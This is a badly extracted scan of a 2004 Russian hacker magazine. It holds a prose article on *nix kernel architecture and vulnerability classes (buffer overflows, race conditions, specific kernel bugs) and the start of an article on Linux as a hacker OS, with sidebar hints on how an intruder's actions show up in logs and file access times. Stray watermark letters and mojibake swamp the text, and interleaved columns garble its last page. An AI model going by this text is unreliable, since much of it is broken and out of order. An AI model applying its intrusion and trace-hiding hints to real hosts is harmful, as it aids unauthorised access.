Ермолаев Евгений aka Saturn (saturn@linkin-park.ru)

 

w

 

 

 

 

 

 

 

o

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

* N I X

-xcha

 

 

 

 

ЯДРА - ЧИСТЫЙ

 

 

 

 

 

 

 

 

 

Ó Ï Í Û É

 

 

 

 

 

 

 

ИЗУМРУД

 

È Ñ Ò

 

 

 

 

 

 

 

«ЯДЕРНЫЕ» ПРОБЛЕМЫ В *NIX

 

Å Ï Ð

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ебе, наверное, много раз приходилось слышать, что любая *nix - это некая "идеальная" система (в отличие от

 

Í

 

 

 

 

 

 

 

ÒWindows), которая не зависает, не тормозит и т.д. Так ли это на самом деле? Поскольку надежность любой

 

 

 

 

 

 

 

 

 

 

 

операционной системы зависит от ядра, давай обратим внимание именно на эту часть ОС.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

Ä

ля начала следует ра-

 

зобраться с основными

 

 

 

понятиями *nix-систем.

 

 

 

 

Это очень важный мо-

 

 

 

мент, без которого до-

вольно сложно разобраться в структуре системы и ядре. Ядро полностью скрывает специфику компьютера от пользователя, но в то же время зависит от этой специфики.

ОСНОВЫ

Первое, с чем нам предстоит столкнуться, - понятие пользователя. Здесь пользователь - это некто (нечто), имеющий свою учетную запись, состоящую из имени и пароля и еще некоторых данных, например, домашней директории. Ядро UNIX "узнает" пользователя по UID (User IDentifier) - идентификатору, который представляет собой уникальное целое число, присваемое при регистрации (автоматически или вручную админом). Пользователь относится к некой группе, определяемой GID'ом (Group IDentifier). Администратору системы отводится нулевой UID. Пользователь с таким UID называется root (рут). Это наиболее интересный персонаж, поскольку он имеет полный контроль над системой. Идеальный вариант использования ка- кой-либо уязвимости для захвата системы – получение прав рута.

Любой пользователь в процессе работы так или иначе обращается к файлам, и здесь нельзя избежать упоминания о файловой системе (ФС).

ФС присуща древовидная структура, совершенно непривычная для пользователя DOS (Windows). Корневой каталог всегда имеет имя "/". Но это не значит, что в *nix возможно использование только одного устройства для хранения информации. "Куски" файлового дерева системы чаще всего размещаются на разных носителях, но логически это одна система. Каждый зарегистрированный пользователь имеет так называемую домашнюю директорию. В ней пользователь - царь и бог :). Теоретически юзер мо-

Элемент файловой системы

жет получить доступ ко всем файлам

âсистеме. Но такой доступ ограничен посредством привилегий. В отличие от MS-DOS у ФС *nix отсутствует такое понятие, как расширение файла (имя файла может содержать точку наравне с другими допустимыми символами).

Кроме того, для файловых систем *nix характерна защита информации

âфайлах и трактовка периферийных устройств как файлов.

АРХИТЕКТУРА "ТРАДИЦИОННОГО" ЯДРА

В *nix есть ядро, которое управляет ресурсами компьютера и предоставляет пользователям некий ограни- ченный набор услуг. Мы будем рассматривать UNIX TimeSharing System V ("традиционный" UNIX), поскольку на ее основе построено большинство современных клонов UNIX. Начнем с того, что UNIX - независимая от платформы система. Для ее работы на ка- кой-либо машине достаточно лишь заново скомпилировать компоненты (написанные на C). Здесь стоит заметить, что единственный компонент, который все еще зависит от аппаратной части, - это ядро.

Но в результате разделения аппа- ратно-зависимых и аппаратно-незави- симых компонентов ядра разработчи- кам удалось добиться того, что большая часть ядра может быть перенесена на любую платформу.

Остается малая, но аппаратно-зави- симая часть, которая включает следующие компоненты:

-запуск и инициализация системы на низком уровне;

-первичная обработка внутренних и внешних прерываний;

-управление памятью;

-переключение между режимами пользователя и ядра;

-части драйверов, связанные с особенностями аппаратуры.

Как видно, в зависимой части осталось лишь небольшое число функций, которые переписывают при переносе ОС на другую платформу.

Давай теперь рассмотрим основные функции и подсистемы ядра. При включении выполняется инициализация системы. Эта функция занимается запуском и раскруткой. Средство раскрутки загружает полное ядро в память и запускает систему. Следующая функция - управление памятью, которая отображает виртуальную память процессов в оперативку. Кроме того, этот компонент обеспечивает использование одних и тех же областей оперативки

Архитектура UNIX в очень упрощенном виде

ХАКЕРСПЕЦ 10(47) 2004

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

для разных процессов с использова-

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

нием внешних носителей. Основными подсистемами ядра являются подсистема управления файлами и подсистема управления процессами. Остановимся на них поподробнее, поскольку эти системы являются основным источником уязвимостей ядра.

Подсистема управления файлами В UNIX каждому файлу в соответствие ставится некий индекс, в котором содержатся описание размещения информации на физическом носителе, права доступа, владелец и другие данные. Каждый файл имеет только один индекс. Когда процесс обращается к файлу по имени, ядро возвращает индекс файла. То есть

каждое имя является указателем. Индексы хранятся в файловой сис-

теме, однако при работе с файлом ядро заносит их в таблицу индексов, которая находится в ОЗУ. Кроме таблицы индексов, ядро использует еще две информационные структуры: таблицу файлов и таблицу дескрипторов файла. Пользователь может полу- чить доступ к файловым дескрипторам и раскрыть информацию.

Итак, основные компоненты файловой системы:

-Блок загрузки. Располагается в на- чале файловой системы и содержит программу начальной загрузки.

-Суперблок. Здесь обозначаются свойства файловой системы: размер, расположение свободного пространства, количество файлов и другая информация.

-Список индексов. Размер списка указывается администратором при генерации файловой системы.

-Информационные блоки. Содержат данные файлов, а также служебные данные. Информационный блок может принадлежать только одному файлу.

Подсистема управления процессами После того как загрузка ядра выпол-

нена, нужно как-то создавать, завершать и следить за существующими процессами и нитями (здесь нить - это

ßäðî

"процесс", выполняемый на общей виртуальной памяти). Этим занимается функция управления процессами и нитями. Ввиду мультипроцессорности *nix ядро обеспечивает разделение процессорного времени или процессоров, что создает эффект параллельности выполнения разных задач. Ядро – это невыгружаемый компонент, и поэтому процесс, выполняющийся в режиме ядра, продолжает свое выполнение до тех пор, пока не вернется в режим задачи либо пока не перейдет в состояние «сна». Благодаря невыгружаемости ядро обеспечивает целостность информационных структур и стабильность работы.

Кроме обозначенных подсистем, существуют также коммуникационные средства, которые отвечают за обеспечение обмена данными. Ну и замыкающей функцией является программный интерфейс, который делает возможным доступ к ядру из более высокого уровня (со стороны пользовательских процессов).

ГОРЕ ОТ УМА, ИЛИ ПРОБЛЕМЫ "ИДЕАЛЬНОЙ" АРХИТЕКТУРЫ

Как видно из вышесказанного, архитектура ОС в целом и архитектура ядра в частности - это стройная, хорошо продуманная система взаимодействия компонентов. Однако несмотря на это любая *nix - уязвимая система. В том числе и на самом нижнем уровне – ядре. Одна из основных причин уязвимостей ядра – возраст ОС. С одной стороны, клоны этой операционной системы становятся популярнее день ото дня в течение 25 лет, и это уникальный случай! Кроме того, на протяжении этих лет наращиваются и возможности системы, что является большим плюсом. Однако качественные улучшения структуры не успевали (и не успевают) за ростом ее возможностей. И поэтому можно утверждать, что современные варианты UNIX структурированы не идеально. Рассмотрим основные типы уязвимостей.

Переполнение буфера (buffer overflow)

Одна из самых распространенных уязвимостей программного обеспече- ния и ОС в частности. Эту уязвимость вызывает небольшая ошибка, позволяющая, однако, творить чудеса. Ошибка переполнения буфера случа- ется, если в программе происходит копирование данных без проверки свободного места в пункте назначения (буфере). Когда данных слишком много, происходит переполнение и информация попадает за границы буфера. Умелое использование этого факта позволяет запускать произвольный код с правами переполненного приложения (то есть вполне может быть, что с правами администратора). Существует огромное количество такого рода уязвимостей. Главная при- чина уязвимости - использование не-

45

которых функций стандартной библиотеки языка С, не проверяющих размеры своих аргументов (например strcpy, strcat, gets или sprintf), а *nix-сис- темы (в том числе и большая часть ядра), как ты помнишь, почти целиком написаны на C. Актуальность этой уязвимости доказывает хотя бы последний найденный баг. В UNIX 9.x найдены множественные переполнения буфера в функциях strcpy() и p_stcopy(), позволяющие локальному пользователю переписывать в стеке значение регистра eip, что может привести к выполнению произвольного кода c root-правами (см. www.securitylab.ru).

Уязвимость состояния операции Данная проблема характерна как для *nix, так и для Windows. В никсах эта дырка обнаруживается в ядре и

не имеет такого широкого распространения, как переполнение буфера. Правильно используя данную уязвимость, можно изменять файлы в системе. С первого взгляда кажется, что такая возможность не представляет особой ценности, однако подобным образом могут быть получены повышенные привилегии при помощи модификации критических файлов типа /etc/passwd и др.

Если вышеперечисленные проблемы ядра носят «хронический» характер, то следующие уязвимости – разовые, характерные для определенного клона и его версии:

1.таблица перенаправления может быть подменена удаленными пользователями, если посылать пакеты с подделанным исходным адресом;

2./proc/tty/driver/serial раскрывает точное число введенных символов через последовательные ссылки. В результате локальный атакующий может определить длину пароля и задержку между нажатиями клавиш в те- чение ввода пароля;

3.локальный пользователь может эксплуатировать уязвимость состояния операции чтения файла в системном вызове execve(), чтобы аварийно завершить работу системы;

4.уязвимость в программе обработки TCP-опций входящих пакетов. Причем уязвимость действительна, если в правилах встроенного фаервола применяется tcp-option. Во всем виновата функция tcp_find_option, которая некорректно обрабатывает поле длины пакета. Если это значение больше 127, программа зацикливается. Таким образом, можно исчерпать системные ресурсы и вызвать отказ в обслуживании (DoS).

Итак, мы видим, что ядра систем *nix уязвимы. Некоторые уязвимости возникают из-за непосредственных ошибок при реализации. Другие – плоды изначально неправильной структуры ядра. E

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

* N I X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Í Å Ï Ð È Ñ Ò Ó Ï Í Û É

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

* N I X

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

Í Å Ï Ð È Ñ Ò Ó Ï Í Û É

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

46

ВЗЛОМ

LINUX - "ПРИТОН" ХАКЕРОВ

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Dr_Vint (vint@vpost.ru)

 

 

 

 

 

 

o

m

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

n

e

 

LINUX - «ПРИТОН»

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ХАКЕРОВ

 

 

 

 

 

 

 

 

 

 

 

 

КОРОТКО О ГЛАВНОМ

Linux - система, написанная хакерами и для хакеров? Почему не FreeBSD, не OpenBSD, не Windows, а именно Linux притягивает хакеров всего мира? Что можно делать и чего делать нельзя на захваченной машине?

При создании системы Линус использовал единственный источ- ник - книгу Мариса Баха "Разработка ОС UNIX".

ИСТОРИЯ

» Шел далекий 1991-й год. На рынке решений для домашних пользователей наблюдалась

монополия Microsoft. Windows 3.1 и DOS правили миром ;-). Конечно, находились энтузиасты, использующие другие системы, но их было очень мало. Компьютеры уже стали доступны многим, и росло число программистов, готовых ринуться в бой за идею. Благодаря Fido хакеры с разных концов света уверенно держали связь между собой и искали применение своему интеллекту. Мир как будто ждал чегото... А тем временем мало кому известный студент факультета компьютерных наук Хельсинского университета Линус Торвальдс изучал операционные системы, современные компьютеры, языки программирования, просматривал мегабайты исходных кодов. Он учился. Когда пришло желание работать, у Линуса уже был огромный запас знаний по многим аспектам IBM PC. Так сложилось, что ни одна из существующих систем не удовлетворяла запросов хакера, и он решил писать свою. Тем более Линус считал, что полученный опыт поможет ему начать и заложить базис ядра. И действительно, после месяцев упорной и кропотливой работы Fido-сооб- ществу были представлены исходники ядра, для сборки которого использовалась ОС Minux. Эта самая первая версия 0.0.1 ОС Linux стала той "критической массой", которая смогла разбудить программистов и хакеров от спячки и организовать работу. Код ядра начал расти и развиваться. Чуть позже добавляется загрузчик, своя файловая система и основные утилиты. В результате, мы имеем то, что называется модным словом "Linux".

керами и для хакеров. Действительно, основанный программистом-оди- ночкой проект попал в руки огромного количества грамотных программистов, которые хотели использовать свой PC с максимальной отда- чей. Для них компьютер не был инструментом - для них это цель, а не средство. Дух свободы и творче- ства пронизал систему. Линус предугадал такой ход развития и выпустил свое творение под открытой лицензией. Именно эти ключевые моменты сформировали всю ОС.

LINUX СЕГОДНЯ

Сейчас мы наблюдаем бум популярности системы Linux. Интернет кричит, что это лучшая ОС как для серверов, так и для домашнего использования. Но так ли это на самом деле? Действительно, сейчас GNU/Linux представляет собой очень мощную и надежную систему с огромным количеством приложений. При- чем это все доступно абсолютно бесплатно и в виде исходных кодов. Но повсеместному внедрению Linux мешает то, что пользователь должен иметь желание учиться. А таких мало... Но не пасующие перед трудностями иногда полностью переходят на Linux. Таким образом, система подтверждает свое звание ОС для хакеров.

ЧТО ХАКЕРЫ НАХОДЯТ В LINUX

Так почему же именно Linux притягивает хакеров всего мира? Объяснить это лучше всего, сравнивая эту ОС с другими системами. Начнем, пожалуй, с самой близкой ОС - FreeBSD. Как ты знаешь, это тоже свободно распространяемая, POSIX-совмести- мая, доступная в исходных кодах система, то есть она имеет все основные преимущества Linux. И, кроме этого, у

нее есть большой плюс: она разрабатывалась не с начала девяностых, а гораздо раньше, при этом очень неглупыми людьми. Кажется, все указывает на явное превосходство FreeBSD. Но есть одно большое но: развивать и дополнять эту BSD-систе- му могут только избранные разработ- чики ядра. А значит, далеко не каждый желающий программист может отправить свой участок кода для включения в ОС. С Linux все проще: если ты профи, то твоя работа будет оценена по достоинству и добавлена

âядро, при условии что это действительно полезная наработка.

Причем дистрибутив не будет отправлен на реализацию до тех пор, пока множество бета-тестеров по всему миру не заявит об отсутствии ошибок

âрелиз-кандидате. Таким образом, FreeBSD выпускается достаточно редко, а значит, все новые идеи включа- ются в нее только после тщательного тестирования. В то время как хакеры, двигая прогресс, подчиняют его себе - используют свои разработки в повседневной работе, тем самым всегда оставаясь "на острие атаки". В итоге FreeBSD не стала "притоном" гениев. Аналогично обстоят дела и с OpenBSD. Хоть эта платформа более открыта, но ее секьюрность и постоянный аудит не дают ей возможности развиваться вместе с компьютерным миром. Поэтому и эта ОС не стала пристанищем свободомыслящих талантов ;-(. О Windows говорить как-то даже не хочется… Система, ориентированная на домохозяйку, не может быть гибкой, удобной и интересной компьютерному андеграунду. Остальные системы практически не представляют никакого интереса: либо они мало распространены, либо закрыты и недоступны для модификации. Так

АНАЛИЗ ЗАРОЖДЕНИЯ СИСТЕМЫ

Тебе, наверно, интересно, для че- го я так вольно и очень кратко рассказал историю Linux? Это вступление должно подвести нас к главному выводу: ядро ОС Linux написано ха-

Решение о выпуске нового релиза Linux принимается исключительно централизованно.

ХАКЕРСПЕЦ 10(47) 2004

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

Кстати, о логах…

рис. Константин Комардин

Даже невинное создание папки в каталоге /tmp может выдать атакующего (это очень просто реализуется встроенными средствами аудита ФС).

Удобная штука mc... Но опасная

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

47

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

* N I X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Í Å Ï Ð È Ñ Ò Ó Ï Í Û É

 

Осмотримся немного по процессам

что же получит хакер, выбрав для себя ОС Linux? Прежде всего, свободу - свободу выбора, свободу творчества, свободу от монополий и регламентов производителей. И уже только потом очень сильную сетевую ОС.

ПОЧЕМУ АДМИНАМ СИМПАТИЧНА ЭТА СИСТЕМА

Администраторы все чаще выбирают Linux для своих детищ. И это легко объяснить. Админ получает, во-пер- вых, очень стабильную ОС. Во-вторых, постоянное обновление и совершенствование не только системы, но всего сетевого ПО. Полный контроль над операционной системой привлекает грамотных системщиков, правда, достичь этого удается только в таких дистрибутивах, как Gentoo или LFS, но тотальная власть над системой реальна. Отсутствие всевозможных "закладок" и "меток", абсолютная прозрач- ность межсетевого взаимодействия позволяют Linux-админам спать спокойно. И все это дополняется огромным количеством документации, как в интернете, так и в бумажном варианте, как на английском, так и на русском языке. Этот список преимуществ Linux над другими *nix-системами можно продолжать довольно долго. Но! Раз есть админы и хакеры, то должны быть атаки и взломы, не так ли? Хотя система очень стабильна и продуманна, иногда можно слышать об удачных взломах Linux-хостов. Кто же виноват в том, что ОС отдается в руки хакера? Попробуем разобраться в этом.

ВЗЛОМ LINUX.

КАК ТАКОЕ БЫВАЕТ?

 

 

Чаще всего взломы и успешные

 

 

 

 

 

атаки на Linux можно объяснить ли-

 

бо неграмотностью, либо ленью ад-

 

мина. Грамотно настроенная и вовре-

 

мя обновляемая система практичес-

 

ки неуязвима.

 

Какие возможны атаки? Сначала по-

 

говорим о самой простой. Реализовать

 

взлом несложно, достаточно почаще

 

посещать security-сайты и отслежи-

 

вать изменения на top-страницах

»

Linux - это самая открытая и свободная система, но при этом ядро потенциально нарушает множество патентов, по мнению некоторых компаний (например, небезызвестной SCO).

Детище ха- кера-оди- ночки угрожает монополии софтверного гиганта.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

48

ВЗЛОМ

LINUX - "ПРИТОН" ХАКЕРОВ

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

g

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

X

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Учти, что даже банальный запуск mc

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

N I

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вызовет изменения времени доступа на

 

 

 

 

 

 

 

 

 

 

 

 

 

*

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

некоторых файлах.

 

 

 

 

 

 

 

 

 

 

 

 

 

Í Û É

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

чем месте не обнаружен ;-). Следую-

зу же узреет во всем атаку и будет

 

 

 

 

 

 

 

 

 

 

 

 

 

Ï

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

щий этап - разобраться с системой ло-

 

 

 

 

восстанавливать пароль, параллель-

 

 

 

 

 

 

 

 

 

 

 

 

Ó

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

гирования и регистрации пользовате-

 

 

 

 

но усилив защиту до такого уровня,

 

 

 

 

 

 

 

 

 

 

 

 

 

Ñ Ò

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лей сервера. Я знаю администрато-

 

 

 

 

что любой скрипткиди скорее проха-

 

 

 

 

 

 

 

 

 

 

 

 

È

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ров, которые так опасаются за свой

чит общественный сортир, чем его

 

 

 

 

 

 

 

 

 

 

 

 

 

Ð

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сервер, что создали скрипт, который

 

 

хост ;-). Кстати, процедура восстанов-

 

 

 

 

 

 

 

 

 

 

 

 

Ï

 

 

 

 

 

 

 

 

 

 

 

 

 

 

при входе root в систему сразу отп-

 

 

 

 

ления пароля предельно проста: заг-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ну и кто скажет, что ХР выглядит круче???

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Å

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

равляет администратору сообщение

 

 

 

 

ружаемся с CD или дискеты, монтиру-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Í

 

 

 

 

 

 

 

 

 

 

 

 

 

 

эксплоитов. При обнаружении новой

на мобильник, в котором содержится

ем разделы сервера, смотрим

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

